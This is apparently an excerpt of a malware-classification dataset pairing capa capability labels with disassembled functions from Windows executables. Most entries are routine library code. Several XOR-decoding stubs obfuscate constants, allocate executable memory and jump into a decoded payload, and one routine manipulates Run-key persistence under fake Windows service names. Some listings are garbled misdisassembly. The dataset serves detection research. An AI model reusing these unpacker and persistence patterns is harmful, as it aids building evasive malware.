joyce8/EMBER2024-capa huggingface dataset:
Function at 0x481225
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00478d50
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4812c0
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x4dd1c0]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x4812c0
cmp eax, 1
je 0x4812e1
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4812c0
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x48128d
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x4812bc
xor eax, eax
inc eax
jmp 0x481300
cmp edi, eax
jae 0x4812c4
xor eax, eax
jmp 0x481300
cmp eax, esi
jae 0x4812cb
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x4dd1c0]
jmp 0x4812e4
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x482c6d
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x4c9cd4]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x482c9e
xor eax, eax
jmp 0x482e27
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x4dd6c0]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x482cda
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.00486b13
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x482db5
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x482df3
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x482d3e
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x482d2f
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x482d0f
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x482d7e
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x482d87
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x482d00
jmp 0x482d89
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x482e22
cmp dword [ebp - 0x6c], edi
je 0x482df3
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x482de8
call fcn.00479942
mov dword [eax], 9
call fcn.0047994b
mov dword [eax], esi
jmp 0x482e1d
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x482ddd
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x482d89
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x482d89
push dword [ebp - 0x6c]
call fcn.00479954
pop ecx
jmp 0x482e1d
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x482e0b
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x482e0b
xor eax, eax
jmp 0x482e25
call fcn.00479942
mov dword [eax], 0x1c
call fcn.0047994b
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x482e25
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.00481339
add ebp, 0x3a0
leave
ret
Function at 0x482fa2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x483176
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x4dd6c0]
mov eax, dword [edi]
shl esi, 2
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x483176
test cl, 0x48
je 0x48300d
cmp byte [eax + 5], 0xa
je 0x48300d
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x48305f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x483047
call fcn.00479942
mov dword [eax], 9
call fcn.0047994b
mov dword [eax], esi
jmp 0x483057
cmp eax, 0x6d
je 0x483176
push eax
call fcn.00479954
pop ecx
or eax, 0xffffffff
jmp 0x483178
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
add dword [ebp - 8], eax
test byte [ecx + esi + 4], 0x80
je 0x483171
test eax, eax
je 0x483086
cmp byte [ebx], 0xa
jne 0x483086
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x48308f
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
add ecx, eax
cmp eax, ecx
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], ecx
jae 0x48316b
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x48315b
cmp al, 0xd
je 0x4830c1
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x48314d
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x4830db
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x4830d6
add dword [ebp + 0x10], 2
jmp 0x48312f
mov dword [ebp + 0x10], eax
jmp 0x483149
inc dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x483103
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x483149
cmp dword [ebp - 0xc], 0
je 0x483149
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x483124
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x48312f
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x48314c
cmp ebx, dword [ebp + 0xc]
jne 0x483134
cmp byte [ebp - 1], 0xa
jne 0x483134
mov byte [ebx], 0xa
jmp 0x48314c
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004840d3
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x48314d
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x4830a5
jmp 0x48316b
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x48316b
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x483178
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x484dd9
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x4dd598], ebx
push esi
push edi
jne 0x484e59
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x484e94
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4b1c1c
push edi
call esi
test eax, eax
mov dword [0x4dd598], eax
je 0x484e94
push 0x4b1c0c
push edi
call esi
push 0x4b1bf8
push edi
mov dword [0x4dd59c], eax
call esi
cmp dword [0x4dd1c0], 2
mov dword [0x4dd5a0], eax
jne 0x484e59
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x4dd5a8], eax
je 0x484e59
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x4dd5a4], eax
mov eax, dword [0x4dd5a4]
test eax, eax
je 0x484e9e
call eax
test eax, eax
je 0x484e85
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x4dd5a8]
test eax, eax
je 0x484e85
test byte [ebp - 8], 1
jne 0x484e9e
cmp dword [0x4dd1cc], 4
jb 0x484e98
or byte [ebp + 0x12], 0x20
jmp 0x484ebd
xor eax, eax
jmp 0x484ecd
or byte [ebp + 0x12], 4
jmp 0x484ebd
mov eax, dword [0x4dd59c]
test eax, eax
je 0x484ebd
call eax
mov ebx, eax
test ebx, ebx
je 0x484ebd
mov eax, dword [0x4dd5a0]
test eax, eax
je 0x484ebd
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x4dd598]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x484fb1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x484fdf
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x484fe6
cmp ebx, dword [eax + 4]
jae 0x484fe6
xor eax, eax
jmp 0x4851d6
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x484ff7
xor eax, eax
inc eax
jmp 0x4851d5
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x48500d
cmp ecx, edx
jae 0x485152
cmp dword [eax + 4], 0
je 0x485016
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x484ffe
cmp dword [ebp + 8], 0
je 0x485038
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x485152
cmp eax, esi
jae 0x485152
mov eax, dword [0x4dd5b0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x48505d
cmp dword [esi*4 + 0x4dd5b8], edi
je 0x485156
inc esi
cmp esi, eax
jl 0x48504b
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4851d2
cmp dword [ebp - 8], 0x1000000
jne 0x4851d2
test byte [ebp - 0xc], 0xcc
je 0x4850db
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x4851d2
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4851d2
cmp word [eax + 0x18], 0x10b
jne 0x4851d2
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x4851d2
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x4850db
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x4850db
test byte [ecx + 0x27], 0x80
jne 0x485152
push 1
push 0x4dd5f8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x484fef
mov ecx, dword [0x4dd5b0]
test ecx, ecx
mov edx, ecx
jle 0x48510f
lea eax, [ecx*4 + 0x4dd5b4]
cmp dword [eax], edi
je 0x48510f
dec edx
sub eax, 4
test edx, edx
jg 0x485103
test edx, edx
jne 0x485140
push 0xf
pop ebx
cmp ecx, ebx
jg 0x48511c
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x485134
lea eax, [edx*4 + 0x4dd5b8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x485122
cmp ecx, 0x10
jge 0x485140
inc ecx
mov dword [0x4dd5b0], ecx
push 0
push 0x4dd5f8
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x484fef
xor eax, eax
jmp 0x4851d5
test esi, esi
jle 0x484fef
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x4dd5f8
call ebx
test eax, eax
jne 0x484fef
cmp dword [esi*4 + 0x4dd5b8], edi
je 0x4851ac
mov eax, dword [0x4dd5b0]
lea esi, [eax - 1]
test esi, esi
jl 0x48519a
cmp dword [esi*4 + 0x4dd5b8], edi
je 0x485196
dec esi
jns 0x48518a
test esi, esi
jge 0x4851aa
cmp eax, 0x10
jge 0x4851a5
inc eax
mov dword [0x4dd5b0], eax
lea esi, [eax - 1]
jmp 0x4851ac
je 0x4851c4
xor ecx, ecx
test esi, esi
jl 0x4851c4
lea eax, [ecx*4 + 0x4dd5b8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x4851b2
push 0
push 0x4dd5f8
call ebx
jmp 0x484fef
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x48bbff
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x48bc37
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00489ccd
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00489ca5
jmp 0x48bc43
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x48d2ed
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x48d32f
call fcn.00492c6f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x48d32f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x48d326
xor eax, eax
jmp 0x48d337
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0048d33d
pop edi
pop esi
pop ebx
ret 4

Function at 0x49319f
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4931cd
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4931eb
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00493105
jmp 0x4931eb
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4931eb
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00493105
test edi, edi
mov eax, edi
jne 0x4931d5
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x42312c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x42313b
pop dword [ebp - 0x14]
mov eax, 0x32c71307
sub eax, 0x3284e1cc
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3a68b
push 0
mov eax, 0xe003cb92
add eax, 0x203e8686
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xbccc30a8
add ecx, 0x4334097d
mov esi, eax
mov edi, 0x141f97fb
sub edi, 0x13dc43fb
add edi, dword [ebp - 0x14]
mov ebx, 0xbc2b637f
add ebx, 0x5013f8f9
mov dword [ebp - 0xc], 0x9fd9a4db
mov edx, dword [edi]
xor dword [ebp - 4], 0x2101303c
sub edx, ebx
add dword [ebp - 0x10], 0x119cb30e
mov dword [esi], edx
sub dword [ebp - 8], ecx
add esi, 0x9f530d8d
add esi, 0x60acf277
add edi, 4
loop 0x42319a
add eax, 0xdb67
mov ebx, eax
add eax, 5
mov ecx, 0xb61e71b4
sub ecx, 0xb5de71b4
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4044ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ecx + 0x14], 0
jne 0x474fc0
pop es
invalid
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042381e
add esp, 0x10
leave
ret 0x10
into
call fcn.00404960
mov dword [esi + 4], eax
xor eax, eax
jmp fcn.0040421e

Function at 0x4044fd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ecx + 0x14], 0
jne 0x474fc0
pop es
invalid
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042381e
add esp, 0x10
leave
ret 0x10
into
call fcn.00404960
mov dword [esi + 4], eax
xor eax, eax
jmp fcn.0040421e

Function at 0x406bc4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov eax, edx
xor edi, edi
or esi, 0xffffffff

Function at 0x406bd4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [ebp - 0xc], eax
mov ebx, ecx
mov dword [eax], esi
mov dword [ebp - 4], 0x7d
movzx eax, word [ebx]
mov edx, 0x86
lea ecx, [edx - 1]
cmp ax, cx
je 0x406c6c
add ecx, 5
cmp ax, cx
je 0x406c6c
cmp ax, dx
je 0x406c6c
lea ecx, [edx + 5]
cmp ax, cx
je 0x406c6c
xor eax, eax
lea eax, [eax + 2]
xor edx, edx
lea ecx, [ebx + eax*2]
inc edx
call fcn.00408b14
mov ecx, eax
movzx edx, word [ecx]
mov eax, edx
cmp eax, 0x31
jg 0x406c42
cmp eax, 0x30
jge 0x406c74
cmp eax, 0x1d
je 0x406c61
cmp eax, 0x1e
je 0x406c74
cmp eax, 0x22
jg 0x48284e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
cmp eax, 0x36
je 0x406c71
cmp eax, 0x38
je 0x406c74
sub byte [ebx - 0x7bf08208], al
mov esp, 0x803d0007
cmp eax, 0x7d
je 0x482893
clc
jge 0x406c5f
test byte [esi], bh
mov esp, 0x803d0007
cmp eax, 0x80
jle 0x406c3b
add byte [eax], al
add byte [esi - 0x21], bh
jmp 0x48287e
pop es
add byte [ebx + 0x7400087d], al
aam 0xe9
push es
mov esp, 0xc0330007
cmp dword [ebp + 8], 0
je 0x406c3b
jmp 0x482872
xor eax, eax
inc eax
jmp 0x406c09
add ecx, 2
cmp dword [ebp + 8], 0
je 0x406c3b
test esi, esi
jns 0x4828c7
xor esi, esi
inc esi
jmp 0x482878
xor al, 0x8a
inc eax
add byte [eax], al
add byte [edx], al
add cl, byte [ebx + 0x101ec]
add ch, byte [edi]
add dword [ebx - 0x71f0db08], eax
or al, byte [eax + edi*8 - 1]
cmp eax, 0x29
je 0x48287a
cmp eax, 0x2b
jne 0x406c4b
inc ebx
clc
invalid
jmp 0x406c71
clc
inc dword [ebx - 0x1016fd3f]
add ecx, 2
jmp 0x406c71
out dx, eax
inc ebx
clc
inc dword [ebp + 0x335179f6]
test byte [edi], 0xb7
jns 0x48288e
jmp 0x4828e3
cmp eax, 0x86
jle 0x4828a3
add eax, 0xffffff76
cmp eax, 1
ja 0x406c4b
xor eax, eax
cmp dx, word [ebp - 4]
lea edx, [ebp - 8]
sete al
push eax
call fcn.00406bd4
pop ecx
mov ecx, dword [ebp - 8]
test ecx, ecx
js 0x406c4b
test esi, esi
jns 0x4828cb
mov edi, eax
mov esi, ecx
jmp 0x4828e3
cmp edi, eax
jne 0x406c4b
cmp esi, ecx
jmp 0x4828dd
jne 0x406c4b
movzx eax, word [ebx + 2]
lea ebx, [ebx + eax*2]
cmp word [ebx], 0x77
je 0x406bf2
mov eax, dword [ebp - 0xc]
mov dword [eax], esi
mov eax, edi
jmp 0x406c4d
Function at 0x40b470
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
or eax, 0xffffffff
push edi
mov word [ebp - 0x10], ax
Function at 0x413200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
push ebx
mov ebx, dword [ebp + 0xc]
Function at 0x442561
Capabilities:
Encode data using xor

Disassembly:
dec esp
add byte [ebx + 0x53], dh
mov ebx, dword [ebp + 0x50]
push esi
mov ecx, dword [ebx]
adc esi, 0xffffff8b
xchg dword [ebp + 0x348b0441], ecx
cmp dword [ecx + 0x6ac93303], ecx
add bl, byte [edx - 0x73]
inc esi
add edi, esi
loop 0x442591
nop
ror dword [ecx - 0x2608f78b], 0xb
enter 0xffffffffffffe851, 0x69
iretd
mov ecx, dword [ebx]
add esi, esi
add ecx, edi
push esi
push ecx
mov edi, eax
push edi
call fcn.0041ee90
mov ecx, dword [ebp + 8]
add dword [ebx], esi
xor eax, eax
add esp, 0x10
mov word [esi + edi], ax
test ecx, ecx
jle 0x4425bc
xor word [edi + eax*2], cx
inc eax
cmp eax, ecx
jl 0x4425b3
mov eax, edi
pop edi
pop esi
jne 0x44261f
ret 8
sbb al, ch
cmp esi, edi
std
jle 0x44262e
xor ebx, dword [eax]
jmp fcn.00447bbf
js 0x442634
add byte [ebp + 0x19], dh
jne 0x442642
Function at 0x401000
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x208]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x208]
push ecx
push str._sx8998998x.jpg
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401053
xor al, al
jmp 0x40108d
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40108b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4010a0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call section..text
movzx eax, al
test eax, eax
je 0x4011d2
mov dword [ebp - 4], 0
mov dword [ebp - 0x38], str.Microsoft_Windows_Update_Service
mov dword [ebp - 0x34], str.Host_Process_for_Windows_Services
mov dword [ebp - 0x30], str.Microsoft_Windows_Manager
mov dword [ebp - 0x2c], str.Desktop_Window_Manager
mov dword [ebp - 0x28], str.WinCfgMgr
mov dword [ebp - 0x24], str.Windows_Update_Service_Manager
mov dword [ebp - 0x20], str.Microsoft_Windows_Update_Services
mov dword [ebp - 0x1c], str.Microsoft_Update_495036
mov dword [ebp - 0x18], str.Microsoft_Windows_Service_Installer
mov dword [ebp - 0x14], str.Microsoft_Windows_Driver_Configuration
mov dword [ebp - 0x10], str.Microsoft_Windows_Installer_Svc
mov dword [ebp - 0xc], str.Windows_Security_Manager
mov dword [ebp - 8], str.Microsoft_Windows_Service
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push 0x4022d0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401175
mov dword [ebp - 0x3c], 0
jmp 0x401151
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 0x34
jae 0x40116b
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0x38]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x401148
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011d2
mov dword [ebp - 0x40], 0
jmp 0x4011ae
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x40], 0x34
jae 0x4011c8
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp + eax*4 - 0x38]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x4011a5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1000b7d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x1000ce6d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1000ce7c
pop dword [ebp - 0x28]
mov eax, 0xf8b810ca
add eax, 0x1748bdb2
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x48030dc9
sub dword [ebp - 0x38], 0xf9b0c87e
mov dword [ebp - 0x34], 0xd287edac
sub dword [ebp - 0x34], 0xa054a167
mov dword [ebp - 0x30], 0xf601f59e
add dword [ebp - 0x30], 0x564a4e90
mov dword [ebp - 0x2c], 0x5a9262ea
add dword [ebp - 0x2c], 0xa56d9d16
lea eax, [ebp - 0x38]
push eax
mov eax, 0x14d867dd
sub eax, 0x4d7772d
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x7cf32ff
add dword [ebp - 0x38], 0x6ca33657
mov dword [ebp - 0x34], 0x1ba3d0fc
sub dword [ebp - 0x34], 0xda376f87
mov dword [ebp - 0x30], 0xa406f003
sub dword [ebp - 0x30], 0x40978397
mov dword [ebp - 0x2c], 0xacf58574
sub dword [ebp - 0x2c], 0xacf58574
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x389f8
push 0
call eax
mov ecx, 0x473c
xor edi, edi
add edi, eax
mov ebx, 0x128fffa7
sub ebx, 0x28dc9a7
add ebx, dword [ebp - 0x28]
mov esi, 0xe91d13ac
add esi, 0x44bd09ba
mov dword [ebp - 0x1c], 0x5baceee0
mov edx, dword [ebx]
mov dword [ebp - 0x14], 0xbf0f0c96
sub edx, esi
add dword [ebp - 4], ecx
mov dword [edi], edx
xor dword [ebp - 0x24], ebx
add edi, 0x8da0ba02
add edi, 0x725f4602
